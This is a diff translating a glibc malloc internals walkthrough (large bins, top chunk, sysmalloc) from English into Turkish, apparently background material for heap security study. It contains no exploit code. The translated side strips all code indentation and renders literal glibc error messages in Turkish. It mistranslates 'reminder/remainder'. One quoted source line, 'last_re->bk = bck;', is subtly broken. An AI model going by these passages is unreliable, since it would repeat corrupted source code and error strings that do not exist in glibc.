-If chunk not returned or added to tcache, continue with the code... +Eğer parça döndürülmediyse veya tcache'e eklenmediyse, kodla devam edin... -#### place chunk in a bin +#### parçayı bir kutuya yerleştir -Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized). +Kontrol edilen parçayı, parçanın boyutuna göre küçük kutuya veya büyük kutuya yerleştirin (büyük kutunun düzgün bir şekilde düzenli olduğundan emin olun). -There are security checks being performed to make sure both large bin doubled linked list are corrupted: +Her iki büyük kutu çift bağlı listesinin bozulmadığından emin olmak için güvenlik kontrolleri yapılmaktadır: -- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` -- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)` +- Eğer `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)` +- Eğer `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc place chunk in a bin - +_int_malloc parçayı bir kutuya yerleştir ```c /* place chunk in bin */ - if (in_smallbin_range (size)) - { - victim_index = smallbin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; - } - else - { - victim_index = largebin_index (size); - bck = bin_at (av, victim_index); - fwd = bck->fd; +if (in_smallbin_range (size)) +{ +victim_index = smallbin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; +} +else +{ +victim_index = largebin_index (size); +bck = bin_at (av, victim_index); +fwd = bck->fd; - /* maintain large bins in sorted order */ - if (fwd != bck) - { - /* Or with inuse bit to speed comparisons */ - size |= PREV_INUSE; - /* if smaller than smallest, bypass loop below */ - assert (chunk_main_arena (bck->bk)); - if ((unsigned long) (size) - < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; - bck = bck->bk; +/* maintain large bins in sorted order */ +if (fwd != bck) +{ +/* Or with inuse bit to speed comparisons */ +size |= PREV_INUSE; +/* if smaller than smallest, bypass loop below */ +assert (chunk_main_arena (bck->bk)); +if ((unsigned long) (size) +< (unsigned long) chunksize_nomask (bck->bk)) +{ +fwd = bck; +bck = bck->bk; - victim->fd_nextsize = fwd->fd; - victim->bk_nextsize = fwd->fd->bk_nextsize; - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; - } - else - { - assert (chunk_main_arena (fwd)); - while ((unsigned long) size < chunksize_nomask (fwd)) - { - fwd = fwd->fd_nextsize; - assert (chunk_main_arena (fwd)); - } +victim->fd_nextsize = fwd->fd; +victim->bk_nextsize = fwd->fd->bk_nextsize; +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; +} +else +{ +assert (chunk_main_arena (fwd)); +while ((unsigned long) size < chunksize_nomask (fwd)) +{ +fwd = fwd->fd_nextsize; +assert (chunk_main_arena (fwd)); +} - if ((unsigned long) size - == (unsigned long) chunksize_nomask (fwd)) - /* Always insert in the second position. */ - fwd = fwd->fd; - else - { - victim->fd_nextsize = fwd; - victim->bk_nextsize = fwd->bk_nextsize; - if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) - malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); - fwd->bk_nextsize = victim; - victim->bk_nextsize->fd_nextsize = victim; - } - bck = fwd->bk; - if (bck->fd != fwd) - malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); - } - } - else - victim->fd_nextsize = victim->bk_nextsize = victim; - } +if ((unsigned long) size +== (unsigned long) chunksize_nomask (fwd)) +/* Always insert in the second position. */ +fwd = fwd->fd; +else +{ +victim->fd_nextsize = fwd; +victim->bk_nextsize = fwd->bk_nextsize; +if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) +malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); +fwd->bk_nextsize = victim; +victim->bk_nextsize->fd_nextsize = victim; +} +bck = fwd->bk; +if (bck->fd != fwd) +malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); +} +} +else +victim->fd_nextsize = victim->bk_nextsize = victim; +} - mark_bin (av, victim_index); - victim->bk = bck; - victim->fd = fwd; - fwd->bk = victim; - bck->fd = victim; +mark_bin (av, victim_index); +victim->bk = bck; +victim->fd = fwd; +fwd->bk = victim; +bck->fd = victim; ``` -
-#### `_int_malloc` limits +#### `_int_malloc` sınırları -At this point, if some chunk was stored in the tcache that can be used and the limit is reached, just **return a tcache chunk**. +Bu noktada, kullanılabilecek bir parça tcache'de saklandıysa ve sınır aşıldıysa, sadece **bir tcache parçası döndürün**. -Moreover, if **MAX_ITERS** is reached, break from the loop for and get a chunk in a different way (top chunk). +Ayrıca, eğer **MAX_ITERS** aşıldıysa, döngüden çıkın ve farklı bir şekilde (top chunk) bir parça alın. -If `return_cached` was set, just return a chunk from the tcache to avoid larger searches. +Eğer `return_cached` ayarlandıysa, daha büyük aramaları önlemek için sadece tcache'den bir parça döndürün.
-_int_malloc limits - +_int_malloc sınırları ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4227C1-L4250C7 #if USE_TCACHE - /* If we've processed as many chunks as we're allowed while - filling the cache, return one of the cached ones. */ - ++tcache_unsorted_count; - if (return_cached - && mp_.tcache_unsorted_limit > 0 - && tcache_unsorted_count > mp_.tcache_unsorted_limit) - { - return tcache_get (tc_idx); - } +/* If we've processed as many chunks as we're allowed while +filling the cache, return one of the cached ones. */ +++tcache_unsorted_count; +if (return_cached +&& mp_.tcache_unsorted_limit > 0 +&& tcache_unsorted_count > mp_.tcache_unsorted_limit) +{ +return tcache_get (tc_idx); +} #endif #define MAX_ITERS 10000 - if (++iters >= MAX_ITERS) - break; - } +if (++iters >= MAX_ITERS) +break; +} #if USE_TCACHE - /* If all the small chunks we found ended up cached, return one now. */ - if (return_cached) - { - return tcache_get (tc_idx); - } +/* If all the small chunks we found ended up cached, return one now. */ +if (return_cached) +{ +return tcache_get (tc_idx); +} #endif ``` -
-If limits not reached, continue with the code... +Eğer limitler aşılmadıysa, kodla devam et... -### Large Bin (by index) +### Büyük Bin (indeks ile) -If the request is large (not in small bin) and we haven't yet returned any chunk, get the **index** of the requested size in the **large bin**, check if **not empty** of if the **biggest chunk in this bin is bigger** than the requested size and in that case find the **smallest chunk that can be used** for the requested size. +Eğer istek büyükse (küçük bin içinde değilse) ve henüz herhangi bir parça döndürmediysek, istenen boyutun **büyük bin** içindeki **indeksini** al, **boş değil** olup olmadığını kontrol et veya bu bin içindeki **en büyük parçanın istenen boyuttan büyük olup olmadığını** kontrol et ve bu durumda istenen boyut için **kullanılabilecek en küçük parçayı** bul. -If the reminder space from the finally used chunk can be a new chunk, add it to the unsorted bin and the lsast_reminder is updated. +Sonunda kullanılan parçadan kalan alan yeni bir parça olabiliyorsa, bunu sıralanmamış bine ekle ve last_reminder güncellenir. -A security check is made when adding the reminder to the unsorted bin: +Kalan alanı sıralanmamış bine eklerken bir güvenlik kontrolü yapılır: -- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks` +- `bck->fd-> bk != bck`: `malloc(): bozulmuş sıralanmamış parçalar`
-_int_malloc Large bin (by index) - +_int_malloc Büyük bin (indeks ile) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4252C7-L4317C10 /* - If a large request, scan through the chunks of current bin in - sorted order to find smallest that fits. Use the skip list for this. - */ +If a large request, scan through the chunks of current bin in +sorted order to find smallest that fits. Use the skip list for this. +*/ - if (!in_smallbin_range (nb)) - { - bin = bin_at (av, idx); +if (!in_smallbin_range (nb)) +{ +bin = bin_at (av, idx); - /* skip scan if empty or largest chunk is too small */ - if ((victim = first (bin)) != bin - && (unsigned long) chunksize_nomask (victim) - >= (unsigned long) (nb)) - { - victim = victim->bk_nextsize; - while (((unsigned long) (size = chunksize (victim)) < - (unsigned long) (nb))) - victim = victim->bk_nextsize; +/* skip scan if empty or largest chunk is too small */ +if ((victim = first (bin)) != bin +&& (unsigned long) chunksize_nomask (victim) +>= (unsigned long) (nb)) +{ +victim = victim->bk_nextsize; +while (((unsigned long) (size = chunksize (victim)) < +(unsigned long) (nb))) +victim = victim->bk_nextsize; - /* Avoid removing the first entry for a size so that the skip - list does not have to be rerouted. */ - if (victim != last (bin) - && chunksize_nomask (victim) - == chunksize_nomask (victim->fd)) - victim = victim->fd; +/* Avoid removing the first entry for a size so that the skip +list does not have to be rerouted. */ +if (victim != last (bin) +&& chunksize_nomask (victim) +== chunksize_nomask (victim->fd)) +victim = victim->fd; - remainder_size = size - nb; - unlink_chunk (av, victim); +remainder_size = size - nb; +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks"); - last_re->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks"); +last_re->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-If a chunk isn't found suitable for this, continue +Eğer bir parça bunun için uygun bulunmazsa, devam et -### Large Bin (next bigger) +### Büyük Kutu (bir sonraki daha büyük) -If in the exact large bin there wasn't any chunk that could be used, start looping through all the next large bin (starting y the immediately larger) until one is found (if any). +Eğer tam büyük kutuda kullanılabilecek bir parça yoksa, hemen daha büyük olanla başlayarak tüm bir sonraki büyük kutuda döngüye girin ve bir tane bulunana kadar devam edin (varsa). -The reminder of the split chunk is added in the unsorted bin, last_reminder is updated and the same security check is performed: +Bölünmüş parçanın hatırlatıcısı sıralanmamış kutuya eklenir, last_reminder güncellenir ve aynı güvenlik kontrolü gerçekleştirilir: -- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks2` +- `bck->fd-> bk != bck`: `malloc(): bozulmuş sıralanmamış parçalar2`
-_int_malloc Large bin (next bigger) - +_int_malloc Büyük kutu (bir sonraki daha büyük) ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4319C7-L4425C10 /* - Search for a chunk by scanning bins, starting with next largest - bin. This search is strictly by best-fit; i.e., the smallest - (with ties going to approximately the least recently used) chunk - that fits is selected. +Search for a chunk by scanning bins, starting with next largest +bin. This search is strictly by best-fit; i.e., the smallest +(with ties going to approximately the least recently used) chunk +that fits is selected. - The bitmap avoids needing to check that most blocks are nonempty. - The particular case of skipping all bins during warm-up phases - when no chunks have been returned yet is faster than it might look. - */ +The bitmap avoids needing to check that most blocks are nonempty. +The particular case of skipping all bins during warm-up phases +when no chunks have been returned yet is faster than it might look. +*/ - ++idx; - bin = bin_at (av, idx); - block = idx2block (idx); - map = av->binmap[block]; - bit = idx2bit (idx); +++idx; +bin = bin_at (av, idx); +block = idx2block (idx); +map = av->binmap[block]; +bit = idx2bit (idx); - for (;; ) - { - /* Skip rest of block if there are no more set bits in this block. */ - if (bit > map || bit == 0) - { - do - { - if (++block >= BINMAPSIZE) /* out of bins */ - goto use_top; - } - while ((map = av->binmap[block]) == 0); +for (;; ) +{ +/* Skip rest of block if there are no more set bits in this block. */ +if (bit > map || bit == 0) +{ +do +{ +if (++block >= BINMAPSIZE) /* out of bins */ +goto use_top; +} +while ((map = av->binmap[block]) == 0); - bin = bin_at (av, (block << BINMAPSHIFT)); - bit = 1; - } +bin = bin_at (av, (block << BINMAPSHIFT)); +bit = 1; +} - /* Advance to bin with set bit. There must be one. */ - while ((bit & map) == 0) - { - bin = next_bin (bin); - bit <<= 1; - assert (bit != 0); - } +/* Advance to bin with set bit. There must be one. */ +while ((bit & map) == 0) +{ +bin = next_bin (bin); +bit <<= 1; +assert (bit != 0); +} - /* Inspect the bin. It is likely to be non-empty */ - victim = last (bin); +/* Inspect the bin. It is likely to be non-empty */ +victim = last (bin); - /* If a false alarm (empty bin), clear the bit. */ - if (victim == bin) - { - av->binmap[block] = map &= ~bit; /* Write through */ - bin = next_bin (bin); - bit <<= 1; - } +/* If a false alarm (empty bin), clear the bit. */ +if (victim == bin) +{ +av->binmap[block] = map &= ~bit; /* Write through */ +bin = next_bin (bin); +bit <<= 1; +} - else - { - size = chunksize (victim); +else +{ +size = chunksize (victim); - /* We know the first chunk in this bin is big enough to use. */ - assert ((unsigned long) (size) >= (unsigned long) (nb)); +/* We know the first chunk in this bin is big enough to use. */ +assert ((unsigned long) (size) >= (unsigned long) (nb)); - remainder_size = size - nb; +remainder_size = size - nb; - /* unlink */ - unlink_chunk (av, victim); +/* unlink */ +unlink_chunk (av, victim); - /* Exhaust */ - if (remainder_size < MINSIZE) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); - } +/* Exhaust */ +if (remainder_size < MINSIZE) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); +} - /* Split */ - else - { - remainder = chunk_at_offset (victim, nb); +/* Split */ +else +{ +remainder = chunk_at_offset (victim, nb); - /* We cannot assume the unsorted list is empty and therefore - have to perform a complete insert here. */ - bck = unsorted_chunks (av); - fwd = bck->fd; - if (__glibc_unlikely (fwd->bk != bck)) - malloc_printerr ("malloc(): corrupted unsorted chunks 2"); - remainder->bk = bck; - remainder->fd = fwd; - bck->fd = remainder; - fwd->bk = remainder; +/* We cannot assume the unsorted list is empty and therefore +have to perform a complete insert here. */ +bck = unsorted_chunks (av); +fwd = bck->fd; +if (__glibc_unlikely (fwd->bk != bck)) +malloc_printerr ("malloc(): corrupted unsorted chunks 2"); +remainder->bk = bck; +remainder->fd = fwd; +bck->fd = remainder; +fwd->bk = remainder; - /* advertise as last remainder */ - if (in_smallbin_range (nb)) - av->last_remainder = remainder; - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); - } - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +/* advertise as last remainder */ +if (in_smallbin_range (nb)) +av->last_remainder = remainder; +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); +} +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
-### Top Chunk +### Üst Parça -At this point, it's time to get a new chunk from the Top chunk (if big enough). +Bu noktada, yeterince büyükse Üst parçadan yeni bir parça almak için zamanıdır. -It starts with a security check making sure that the size of the chunk size is not too big (corrupted): +Bu, parçanın boyutunun çok büyük olmadığından emin olmak için bir güvenlik kontrolü ile başlar (bozulmuş): -- `chunksize(av->top) > av->system_mem`: `malloc(): corrupted top size` +- `chunksize(av->top) > av->system_mem`: `malloc(): bozulmuş üst boyut` -Then, it'll use the top chunk space if it's large enough to create a chunk of the requested size.\ -If not, if there are fast chunks, consolidate them and try again.\ -Finally, if not enough space use `sysmalloc` to allocate enough size. +Sonra, istenen boyutta bir parça oluşturmak için üst parça alanını kullanır.\ +Eğer yeterince büyük değilse, hızlı parçalar varsa, bunları birleştirir ve tekrar dener.\ +Son olarak, yeterli alan yoksa, yeterli boyut ayırmak için `sysmalloc` kullanır.
-_int_malloc Top chunk - +_int_malloc Üst parça ```c use_top: - /* - If large enough, split off the chunk bordering the end of memory - (held in av->top). Note that this is in accord with the best-fit - search rule. In effect, av->top is treated as larger (and thus - less well fitting) than any other available chunk since it can - be extended to be as large as necessary (up to system - limitations). +/* +If large enough, split off the chunk bordering the end of memory +(held in av->top). Note that this is in accord with the best-fit +search rule. In effect, av->top is treated as larger (and thus +less well fitting) than any other available chunk since it can +be extended to be as large as necessary (up to system +limitations). - We require that av->top always exists (i.e., has size >= - MINSIZE) after initialization, so if it would otherwise be - exhausted by current request, it is replenished. (The main - reason for ensuring it exists is that we may need MINSIZE space - to put in fenceposts in sysmalloc.) - */ +We require that av->top always exists (i.e., has size >= +MINSIZE) after initialization, so if it would otherwise be +exhausted by current request, it is replenished. (The main +reason for ensuring it exists is that we may need MINSIZE space +to put in fenceposts in sysmalloc.) +*/ - victim = av->top; - size = chunksize (victim); +victim = av->top; +size = chunksize (victim); - if (__glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): corrupted top size"); +if (__glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): corrupted top size"); - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - av->top = remainder; - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +av->top = remainder; +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} - /* When we are using atomic ops to free fast chunks we can get - here for all block sizes. */ - else if (atomic_load_relaxed (&av->have_fastchunks)) - { - malloc_consolidate (av); - /* restore original bin index */ - if (in_smallbin_range (nb)) - idx = smallbin_index (nb); - else - idx = largebin_index (nb); - } +/* When we are using atomic ops to free fast chunks we can get +here for all block sizes. */ +else if (atomic_load_relaxed (&av->have_fastchunks)) +{ +malloc_consolidate (av); +/* restore original bin index */ +if (in_smallbin_range (nb)) +idx = smallbin_index (nb); +else +idx = largebin_index (nb); +} - /* - Otherwise, relay to handle system-dependent cases - */ - else - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } - } +/* +Otherwise, relay to handle system-dependent cases +*/ +else +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} +} } ``` -
## sysmalloc -### sysmalloc start +### sysmalloc başlangıcı -If arena is null or the requested size is too big (and there are mmaps left permitted) use `sysmalloc_mmap` to allocate space and return it. +Eğer arena null ise veya istenen boyut çok büyükse (ve izin verilen mmaps kalmışsa) `sysmalloc_mmap` kullanarak alan ayırın ve geri döndürün.
-sysmalloc start - +sysmalloc başlangıcı ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531 /* - sysmalloc handles malloc cases requiring more memory from the system. - On entry, it is assumed that av->top does not have enough - space to service request for nb bytes, thus requiring that av->top - be extended or replaced. - */ +sysmalloc handles malloc cases requiring more memory from the system. +On entry, it is assumed that av->top does not have enough +space to service request for nb bytes, thus requiring that av->top +be extended or replaced. +*/ - static void * +static void * sysmalloc (INTERNAL_SIZE_T nb, mstate av) { - mchunkptr old_top; /* incoming value of av->top */ - INTERNAL_SIZE_T old_size; /* its size */ - char *old_end; /* its end address */ +mchunkptr old_top; /* incoming value of av->top */ +INTERNAL_SIZE_T old_size; /* its size */ +char *old_end; /* its end address */ - long size; /* arg to first MORECORE or mmap call */ - char *brk; /* return value from MORECORE */ +long size; /* arg to first MORECORE or mmap call */ +char *brk; /* return value from MORECORE */ - long correction; /* arg to 2nd MORECORE call */ - char *snd_brk; /* 2nd return val */ +long correction; /* arg to 2nd MORECORE call */ +char *snd_brk; /* 2nd return val */ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ - char *aligned_brk; /* aligned offset into brk */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T end_misalign; /* partial page left at end of new space */ +char *aligned_brk; /* aligned offset into brk */ - mchunkptr p; /* the allocated/returned chunk */ - mchunkptr remainder; /* remainder from allocation */ - unsigned long remainder_size; /* its size */ +mchunkptr p; /* the allocated/returned chunk */ +mchunkptr remainder; /* remainder from allocation */ +unsigned long remainder_size; /* its size */ - size_t pagesize = GLRO (dl_pagesize); - bool tried_mmap = false; +size_t pagesize = GLRO (dl_pagesize); +bool tried_mmap = false; - /* - If have mmap, and the request size meets the mmap threshold, and - the system supports mmap, and there are few enough currently - allocated mmapped regions, try to directly map this request - rather than expanding top. - */ +/* +If have mmap, and the request size meets the mmap threshold, and +the system supports mmap, and there are few enough currently +allocated mmapped regions, try to directly map this request +rather than expanding top. +*/ - if (av == NULL - || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) - && (mp_.n_mmaps < mp_.n_mmaps_max))) - { - char *mm; - if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) - { - /* There is no need to issue the THP madvise call if Huge Pages are - used directly. */ - mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); - if (mm != MAP_FAILED) - return mm; - } - mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - tried_mmap = true; - } +if (av == NULL +|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) +&& (mp_.n_mmaps < mp_.n_mmaps_max))) +{ +char *mm; +if (mp_.hp_pagesize > 0 && nb >= mp_.hp_pagesize) +{ +/* There is no need to issue the THP madvise call if Huge Pages are +used directly. */ +mm = sysmalloc_mmap (nb, mp_.hp_pagesize, mp_.hp_flags, av); +if (mm != MAP_FAILED) +return mm; +} +mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +tried_mmap = true; +} - /* There are no usable arenas and mmap also failed. */ - if (av == NULL) - return 0; +/* There are no usable arenas and mmap also failed. */ +if (av == NULL) +return 0; ``` -
-### sysmalloc checks +### sysmalloc kontrolleri -It starts by getting old top chunk information and checking that some of the following condations are true: +Eski üst parça bilgilerini alarak başlar ve aşağıdaki koşullardan bazılarının doğru olduğunu kontrol eder: -- The old heap size is 0 (new heap) -- The size of the previous heap is greater and MINSIZE and the old Top is in use -- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0) +- Eski yığın boyutu 0'dır (yeni yığın) +- Önceki yığın boyutu MINSIZE'den büyüktür ve eski Üst kullanımdadır +- Yığın sayfa boyutuna hizalanmıştır (0x1000, bu nedenle alt 12 bit 0 olmalıdır) -Then it also checks that: +Ayrıca şunları kontrol eder: -- The old size hasn't enough space to create a chunk for the requested size +- Eski boyut, talep edilen boyut için bir parça oluşturmak için yeterli alana sahip değildir
-sysmalloc checks - +sysmalloc kontrolleri ```c /* Record incoming configuration of top */ - old_top = av->top; - old_size = chunksize (old_top); - old_end = (char *) (chunk_at_offset (old_top, old_size)); +old_top = av->top; +old_size = chunksize (old_top); +old_end = (char *) (chunk_at_offset (old_top, old_size)); - brk = snd_brk = (char *) (MORECORE_FAILURE); +brk = snd_brk = (char *) (MORECORE_FAILURE); - /* - If not the first time through, we require old_size to be - at least MINSIZE and to have prev_inuse set. - */ +/* +If not the first time through, we require old_size to be +at least MINSIZE and to have prev_inuse set. +*/ - assert ((old_top == initial_top (av) && old_size == 0) || - ((unsigned long) (old_size) >= MINSIZE && - prev_inuse (old_top) && - ((unsigned long) old_end & (pagesize - 1)) == 0)); +assert ((old_top == initial_top (av) && old_size == 0) || +((unsigned long) (old_size) >= MINSIZE && +prev_inuse (old_top) && +((unsigned long) old_end & (pagesize - 1)) == 0)); - /* Precondition: not enough current space to satisfy nb request */ - assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +/* Precondition: not enough current space to satisfy nb request */ +assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ``` -
-### sysmalloc not main arena +### sysmalloc ana arena değil -It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\ -Finally if that didn't work, try calling **`sysmalloc_mmap`**. +Öncelikle bu yığın için önceki yığını **genişletmeye** çalışacaktır. Eğer bu mümkün değilse, **yeni bir yığın ayırmayı** deneyip, onu kullanabilmek için işaretçileri güncellemeye çalışacaktır.\ +Son olarak, bu da işe yaramazsa, **`sysmalloc_mmap`** çağırmayı deneyin.
-sysmalloc not main arena - +sysmalloc ana arena değil ```c if (av != &main_arena) - { - heap_info *old_heap, *heap; - size_t old_heap_size; +{ +heap_info *old_heap, *heap; +size_t old_heap_size; - /* First try to extend the current heap. */ - old_heap = heap_for_ptr (old_top); - old_heap_size = old_heap->size; - if ((long) (MINSIZE + nb - old_size) > 0 - && grow_heap (old_heap, MINSIZE + nb - old_size) == 0) - { - av->system_mem += old_heap->size - old_heap_size; - set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) - | PREV_INUSE); - } - else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) - { - /* Use a newly allocated heap. */ - heap->ar_ptr = av; - heap->prev = old_heap; - av->system_mem += heap->size; - /* Set up the new top. */ - top (av) = chunk_at_offset (heap, sizeof (*heap)); - set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); +/* First try to extend the current heap. */ +old_heap = heap_for_ptr (old_top); +old_heap_size = old_heap->size; +if ((long) (MINSIZE + nb - old_size) > 0 +&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0) +{ +av->system_mem += old_heap->size - old_heap_size; +set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) +| PREV_INUSE); +} +else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) +{ +/* Use a newly allocated heap. */ +heap->ar_ptr = av; +heap->prev = old_heap; +av->system_mem += heap->size; +/* Set up the new top. */ +top (av) = chunk_at_offset (heap, sizeof (*heap)); +set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); - /* Setup fencepost and free the old top chunk with a multiple of - MALLOC_ALIGNMENT in size. */ - /* The fencepost takes at least MINSIZE bytes, because it might - become the top chunk again later. Note that a footer is set - up, too, although the chunk is marked in use. */ - old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; - set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), - 0 | PREV_INUSE); - if (old_size >= MINSIZE) - { - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); - set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); - _int_free (av, old_top, 1); - } - else - { - set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); - set_foot (old_top, (old_size + CHUNK_HDR_SZ)); - } - } - else if (!tried_mmap) - { - /* We can at least try to use to mmap memory. If new_heap fails - it is unlikely that trying to allocate huge pages will - succeed. */ - char *mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - } - } +/* Setup fencepost and free the old top chunk with a multiple of +MALLOC_ALIGNMENT in size. */ +/* The fencepost takes at least MINSIZE bytes, because it might +become the top chunk again later. Note that a footer is set +up, too, although the chunk is marked in use. */ +old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; +set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), +0 | PREV_INUSE); +if (old_size >= MINSIZE) +{ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); +set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); +_int_free (av, old_top, 1); +} +else +{ +set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); +set_foot (old_top, (old_size + CHUNK_HDR_SZ)); +} +} +else if (!tried_mmap) +{ +/* We can at least try to use to mmap memory. If new_heap fails +it is unlikely that trying to allocate huge pages will +succeed. */ +char *mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +} +} ``` -
